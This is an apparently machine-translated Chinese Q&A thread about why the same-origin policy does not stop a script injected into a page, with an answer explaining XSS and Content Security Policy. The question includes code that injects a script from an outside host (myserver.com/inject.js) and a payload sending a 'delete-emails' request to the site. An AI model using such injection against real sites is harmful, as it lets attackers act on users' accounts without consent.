某些服务器允许我们使用与页面域不同的 src 动态插入脚本元素。
由于同源政策,我们无法将数据发送到其他服务器,但我们可以执行以下操作:
原因脚本从服务器 A 注入到页面 x 中,并且请求正在服务器 A ,这里没有任何错误 - 同源政策无效。
默认情况下服务器是否受到保护?
在受保护的服务器上,我们得到了这个:
拒绝加载脚本,因为它违反了以下内容安全策略指令:" script-src' unsafe-eval' '不安全直插'
q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);
此类脚本可以包装到chrome扩展程序中并进行安装。 (我错在这里或者扩展程序有更多限制吗?)
这是 inject.js ,假设服务器正在使用delete-emails param处理请求:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stackoverflow.com/?delete-emails');
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
console.log(location.href);
}
};
xhr.send();
例如,如果我将脚本元素(插入头部)插入stackoverflow.com页面,我会得到200 OK
。
答案 0 :(得分:2)
原因脚本从服务器A注入到页面x,并且请求正在向服务器A执行,这里没有任何问题 - 同源策略不起作用。
默认情况下服务器是否受到保护?
没错。您所描述的是Cross-site Scripting (XSS),而同源政策并不能保护您免受此威胁。
在受保护的服务器上,我们得到了这个:
拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src'unsafe-eval''unsafe-inline'
Content Security Policy与同源政策不同。这是一种允许服务器声明对其页面允许执行限制的机制。这有助于防止XSS,因为即使攻击者能够注入脚本,浏览器也不会允许它违反CSP。
此类脚本可以包装到chrome扩展程序中并安装。
通常,您应该假设浏览器扩展允许各种不受常规浏览器安全策略影响的不安全操作。不同的浏览器扩展框架提供不同的安全保证,但它不是跨浏览器标准化的东西。如果您对Chrome允许的内容有疑问,则应该发布单独的问题。